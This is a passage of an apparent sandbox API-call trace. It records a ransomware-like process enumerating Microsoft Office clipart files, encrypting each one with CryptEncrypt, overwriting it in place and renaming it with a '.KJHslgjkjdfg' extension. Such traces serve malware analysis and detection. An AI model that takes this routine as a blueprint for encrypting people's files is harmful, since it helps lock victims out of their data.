office\\clipart\\pub60cor\\so02048_.wmf.kjhslgjkjdfg")) returned 1 [0243.752] CloseHandle (hObject=0x130) returned 1 [0243.752] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c2c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02051_.WMF", cAlternateFileName="")) returned 1 [0243.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02051_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02051_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0243.754] GetProcessHeap () returned 0x2ef0000 [0243.754] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0243.754] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0243.754] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0243.754] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0243.759] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0243.759] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0243.759] GetProcessHeap () returned 0x2ef0000 [0243.759] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0243.759] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0243.759] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0243.759] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0243.759] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0243.759] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0243.759] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0243.760] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0243.760] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0243.760] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0243.760] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0243.760] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.760] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2c2c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2c2c, lpOverlapped=0x0) returned 1 [0243.762] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2c30, dwBufLen=0x2c30 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2c30) returned 1 [0243.763] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.763] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2c30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2c30, lpOverlapped=0x0) returned 1 [0243.763] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0243.763] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2d04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.763] SetEndOfFile (hFile=0x130) returned 1 [0243.766] GetProcessHeap () returned 0x2ef0000 [0243.766] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0243.766] GetProcessHeap () returned 0x2ef0000 [0243.766] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0243.766] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02051_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02051_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02051_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02051_.wmf.kjhslgjkjdfg")) returned 1 [0243.768] CloseHandle (hObject=0x130) returned 1 [0243.768] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e1d7400, ftCreationTime.dwHighDateTime=0x1bd4be9, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e1d7400, ftLastWriteTime.dwHighDateTime=0x1bd4be9, nFileSizeHigh=0x0, nFileSizeLow=0x30ca, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02054_.WMF", cAlternateFileName="")) returned 1 [0243.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02054_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02054_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0243.786] GetProcessHeap () returned 0x2ef0000 [0243.786] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0243.786] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0243.786] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0243.786] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0243.789] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0243.789] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0243.789] GetProcessHeap () returned 0x2ef0000 [0243.789] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0243.789] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0243.790] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0243.790] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0243.790] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0243.790] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0243.790] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0243.790] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0243.790] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0243.790] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0243.790] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0243.790] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.790] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x30ca, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x30ca, lpOverlapped=0x0) returned 1 [0243.791] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x30d0, dwBufLen=0x30d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x30d0) returned 1 [0243.792] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.792] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x30d0, lpOverlapped=0x0) returned 1 [0243.792] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0243.792] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x31a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.792] SetEndOfFile (hFile=0x130) returned 1 [0243.795] GetProcessHeap () returned 0x2ef0000 [0243.795] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0243.796] GetProcessHeap () returned 0x2ef0000 [0243.796] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0243.796] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02054_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02054_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02054_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02054_.wmf.kjhslgjkjdfg")) returned 1 [0243.798] CloseHandle (hObject=0x130) returned 1 [0243.798] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cec4700, ftCreationTime.dwHighDateTime=0x1bd4be9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8cec4700, ftLastWriteTime.dwHighDateTime=0x1bd4be9, nFileSizeHigh=0x0, nFileSizeLow=0x4c4c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02055_.WMF", cAlternateFileName="")) returned 1 [0243.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02055_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02055_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0243.799] GetProcessHeap () returned 0x2ef0000 [0243.799] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0243.799] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0243.799] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0243.799] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0243.801] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0243.801] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0243.801] GetProcessHeap () returned 0x2ef0000 [0243.801] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0243.801] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0243.801] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0243.801] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0243.801] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0243.801] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0243.802] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0243.802] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0243.802] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0243.802] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0243.802] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0243.802] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.802] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4c4c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4c4c, lpOverlapped=0x0) returned 1 [0243.803] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4c50, dwBufLen=0x4c50 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4c50) returned 1 [0243.804] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.804] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4c50, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4c50, lpOverlapped=0x0) returned 1 [0243.804] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0243.804] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4d24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.804] SetEndOfFile (hFile=0x130) returned 1 [0243.807] GetProcessHeap () returned 0x2ef0000 [0243.807] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0243.807] GetProcessHeap () returned 0x2ef0000 [0243.807] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0243.807] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02055_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02055_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02055_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02055_.wmf.kjhslgjkjdfg")) returned 1 [0243.809] CloseHandle (hObject=0x130) returned 1 [0243.809] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8362df00, ftCreationTime.dwHighDateTime=0x1bd4be9, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8362df00, ftLastWriteTime.dwHighDateTime=0x1bd4be9, nFileSizeHigh=0x0, nFileSizeLow=0x382a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02067_.WMF", cAlternateFileName="")) returned 1 [0243.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02067_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02067_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0243.810] GetProcessHeap () returned 0x2ef0000 [0243.810] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0243.810] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0243.810] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0243.811] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0243.813] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0243.813] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0243.813] GetProcessHeap () returned 0x2ef0000 [0243.813] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0243.813] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0243.813] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0243.813] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0243.813] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0243.814] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0243.814] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0243.814] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0243.814] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0243.814] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0243.814] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0243.814] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.814] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x382a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x382a, lpOverlapped=0x0) returned 1 [0243.815] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3830, dwBufLen=0x3830 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3830) returned 1 [0243.815] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.815] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3830, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3830, lpOverlapped=0x0) returned 1 [0243.816] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0243.816] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3904, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.816] SetEndOfFile (hFile=0x130) returned 1 [0243.818] GetProcessHeap () returned 0x2ef0000 [0243.818] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0243.818] GetProcessHeap () returned 0x2ef0000 [0243.818] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0243.819] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02067_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02067_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02067_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02067_.wmf.kjhslgjkjdfg")) returned 1 [0243.821] CloseHandle (hObject=0x130) returned 1 [0243.821] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63332000, ftCreationTime.dwHighDateTime=0x1bd4be9, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x63332000, ftLastWriteTime.dwHighDateTime=0x1bd4be9, nFileSizeHigh=0x0, nFileSizeLow=0x1b4a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02094_.WMF", cAlternateFileName="")) returned 1 [0243.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02094_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02094_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 